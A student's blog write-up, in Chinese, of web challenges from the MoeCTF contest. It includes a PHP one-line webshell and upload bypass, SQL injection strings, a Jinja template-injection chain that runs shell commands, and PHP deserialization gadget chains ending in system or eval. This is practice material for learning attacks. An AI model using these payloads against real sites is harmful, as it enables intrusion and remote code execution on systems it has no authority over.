moectf-wp(web)

c1432發表於2024-10-07

記錄下自己做題的經歷,歡迎老登們參觀

1.入門指北:

沒啥好說的,解壓以後phpstudy開一個網頁放在資料夾裡直接就能出flag。

2.弗拉格之地的入口:

題目也是非常直接(畢竟是引導我這種小白),我直接召喚dirsearch掃描,也是順利得到結果 ,開啟網頁

進入/webtutorEntry.php,成功獲得本題flag

3.墊刀之路01: MoeCTF?啟動!

看到命令框直接ls加cat結果發現不在這,讓我們查詢環境變數。

那就查詢環境變數,直接出了flag(雖然很簡單,但是其實教會了我這個小白怎麼查詢環境變數)。

4.ez_http:

使用HackBar跟著指導做即可:

(1)post隨便發一個值然後根據提示post輸入imoau=sb;

(2)url後根據提示get輸入"?xt=大帥b";

(3)Referer設定為https://www.xidian.edu.cn/;

(4)設定cookie為"user=admin";

(5)User Agent設定為MoeDedicatedBrowser;

(6)提示"Local access only",故直接新增header為X-Forwarded-For : 127.0.0.1

喜提flag:

5.ProveYourLove:

先隨便提交一份發現無法再次提交,F12發現只能提交一次。雖然說看不懂程式碼,但能看出第二次提交被ban了,又發現提交表白資料和更新表白次數先後響應,考慮能不能卡住時間多發請求,想到了burp抓包,當然得重新開一次容器。

如圖配置一下,退出後顯示flag:

6.弗拉格之地的挑戰:

前面兩個分別檢視原始碼和響應頭,直接跳轉到第三個,第三個用HackBar在url輸入"?a=1",post輸入"b=2",後說用admin身份驗證,直接將cookie的值改成admin就行了,重新整理得到第三串flag。

進入第四關前要求"從http://localhost:8080/flag3cad.php?a=1 點選連結過來",那就把Referer改為http://localhost:8080/flag3cad.php?a=1。

正式進入第四關,

確實有點抽象,但是可以F12一下發現可以把這裡的8(別的也行)的id值改成9。

然後點選原本8的按鈕就可以了,提示使用console.log為我們生成flag,就直接看F12控制檯出的日誌資訊就行了,順便前往第五關。

第五關讓我們輸入"I want flag"直接輸入後彈出"你就這麼直接?"發現是以彈窗形式的提示,趕緊觀察檢視器裡面的程式碼發現有一個event

直接給它關了,再次輸入"I want flag"得到flag5。

進入第六關是一個非常簡單的程式碼審計,

提示要以get和post形式輸入兩個$moe並且get輸入的$moe不能含有"flag"但是得符合不受大小寫的"flag",故輸入?moe=Flag同時別忘了post輸入moe=1。進入第七關。

第七關讓我們借用"eval($_POST['what']);"的力量,那直接post輸入"what=phpinfo();"發現沒有flag,那就改成"what=system("ls ../../../");"發現有一個flag7檔案,直接檢視"what=system("cat ../../../flag7");"喜提最後一段flag,最後將前面獲得的flag碎片拼起來解個碼就可以得到flag了。

7.ImageCloud前置

觀察原始碼使用file偽協議讀取檔案,輸入'file://'發現無事發生,於是加一個斜槓'file:///'

接著根據提示進入etc/passwd得到flag

8.墊刀之路02: 普通的檔案上傳

沒有對檔案形式進行限制,直接上傳.php檔案寫入一句話木馬即可

<?php @eval($_POST['pass']);?>

接著進入上傳頁面並如圖發出post請求進入phpinfo();查詢(Ctrl+F)得到flag

9.墊刀之路03: 這是一個圖床:

依舊上傳木馬檔案發現限制了檔案型別,那就把木馬檔案的字尾名改為".jpg"上傳時使用burp改包改為".php"檔案再發出,下面做法就與上面相同,flag也是在phpinfo();裡面。

10.登陸網站:

告訴我們使用者名稱為admin123,密碼難以破解,那就考慮sql注入

點選登入即得flag:

11.墊刀之路07: 洩漏的密碼:

網頁告訴我們pin碼,先使用dirsearch掃描出登陸頁面,

進入後輸入對應的pin,來到console發現是python的控制檯。

找了挺久沒找到最後發現就在當前目錄……

12.墊刀之路04: 一個檔案瀏覽器:


告訴我們這個頁面沒用,那我們直接換個頁面,改url後面的path就行

終於找到了flag但是開啟後顯示不在此位置但是提示位置不遠,最後在tmp裡面找到flag

13.靜態網頁:

看看原始碼,發現給了提示

直接點沒有任何結果,那就抓個包

讓我們進入/final1l1l_challenge.php。進入後是一段php程式碼

意思是讓我們get輸入a,post輸入b,且兩個變數都不是數字,然後a弱相等等於0,md5($a)和b的第$a個元素弱相等,那其實只要a第一位數字是字母,md5($a)為經典0e開頭數字,b隨便取個0k就行,構造?a=QNKCDZO,post輸入b=0k就可以了。得到flag。

14.電院_Backend:

先掃描發現/admin/這個目錄,直接進入

看看原始碼發現or被ban掉了,那就換成||,輸入sql萬能語句

admin@qq.com' || 1=1 #

隨便輸個密碼,填好驗證碼後顯示我們登陸成功,取得flag(就是消失的速度有點快)。

15.勇闖銅人陣:

沒啥好說的,直接寫指令碼,把url換成自己題目的(真頭一回寫,寫了好久)

import requests
session=requests.session()
url="http://127.0.0.1:53592/"
data={
    'player':'wuxuanyi',
    'direct':'弟子明白'
}
a=["北方","東北方","東方","東南方","南方","西南方","西方","西北方"]
b=["北方一個","東北方一個","東方一個","東南方一個","南方一個","西南方一個","西方一個","西北方一個"]
t=['1','2','3','4','5','6','7','8']
n=1
response=session.post(url=url,data=data)
while n<=6:
    x=0
    list1=[]
    m=response.text[-30:-21]
    for i in m:
        if i in t:
            x+=1
            list1.append(int(i))
    if x==1:
        data1 ={
            'player':'wuxuanyi',
            'direct': f'{a[list1[0]-1]}'
        }
        response= session.post(url=url, data=data1)
        print(response.text)
    if x==2:
        data2 = {
            'player':'wuxuanyi',
            'direct': f'{b[list1[0]-1]},{b[list1[1]-1]}'
        }
        response= session.post(url=url, data=data2)
        print(response.text)
    n+=1

執行得到flag:

16.who's blog?

傳一個?id=1發現頁面發生變化,感覺像是ssti注入

輸入?id={{7*7}}發現回顯49,那就可以確定了。先拿基類

?id={{().__class__.__base__}}

再拿子類

?id={{().__class__.__base__.__subclasses__()}}

找到warnings.catch項,程式碼定位位置

?id={{().__class__.__base__.__subclasses__()[239]}}

下面確定存在eval內建函式

?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__}}

呼叫一下發現沒有flag

?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}

直接考慮找環境變數

?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__.__builtins__['eval']('__import__("os").popen("export").read()')}}

成功找到flag

17.墊刀之路06: pop base mini moe:

考驗我們審計程式碼的能力(這個我是真沒有)。意思是有兩個類A和B和一個解構函式,一個魔術方法__invoke()。我們可以利用這個invoke呼叫b作為一個函式,前面的$s恰好能觸發這個魔術方法,只要把B放入A中,寫寫程式碼(藏了點私貨):

<?php

class A {
    // 注意 private 屬性的序列化哦
    private $evil = "ls /";

    // 如何賦值呢
    private $a;
    function C1432($t){
        $this->a=$t;
    }

    function __destruct() {
        $s = $this->a;
        $s($this->evil);
    }

}

class B {
    private $b = system;

    function __invoke($c) {
        $s = $this->b;
        $s($c);
    }
}
$m = new A();
$n = new B();
$m->C1432($n);

echo urlencode(serialize($m));
?>

查詢到目錄有flag,直接換成cat指令讀出即可。

16.pop moe:

先觀察程式碼,發現有四個類,注意幾個魔術方法。發現反序列化的時候會先執行解構函式(__destruct()),然後檢視pay10ad的值,所以可以先把初始值賦1,注意最後面的eval,這顯然是我們想最終達到的地方,我們希望能執行phpinfo();之類的命令,那我們正向看看,看class000,由於這裡面的$a會作為函式執行,我們先辦法把$what賦值成class001類,進而賦值給$a,這樣我們就可以呼叫class001裡面的魔術方法__invoke,下面考慮觸發魔術方法__set發現有個一變數payload是不存在的,那我們只要把這裡的$a賦值為class002,下面的邏輯就是開啟dangerous函式,並給引數為class003,這樣可以呼叫魔術方法__tostring,這樣將引數$mystr最終傳給evvval函式執行,構造payload如下:

<?php

class class000 {
    private $payl0ad=1;
    protected $what;
    function c1432($t){
        $this->what=$t;
    }

    public function __construct()
    {
        $this->what;
    }

    // public function check()
    // {
    //     if($this->payl0ad === 0)
    //     {
    //         die('FAILED TO ATTACK');
    //     }
    //     $a = $this->what;
    //     $a();
    // }
}

class class001 {
    public $payl0ad=dangerous;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    private $sec;
    function C123($t){
        $this->sec=$t;
    }
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

}

class class003 {
    public $mystr='phpinfo();';
    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

$m=new class000();
$n=new class001();
$m->c1432($n);
$s=new class002();

$n->a=$s;

$t=new class003();
$s->C123($t);
echo urlencode(serialize($m)); 
?>

可以在phpinfo();裡面搜尋得到flag。

~~目前只會這麼多了QwQ

相關文章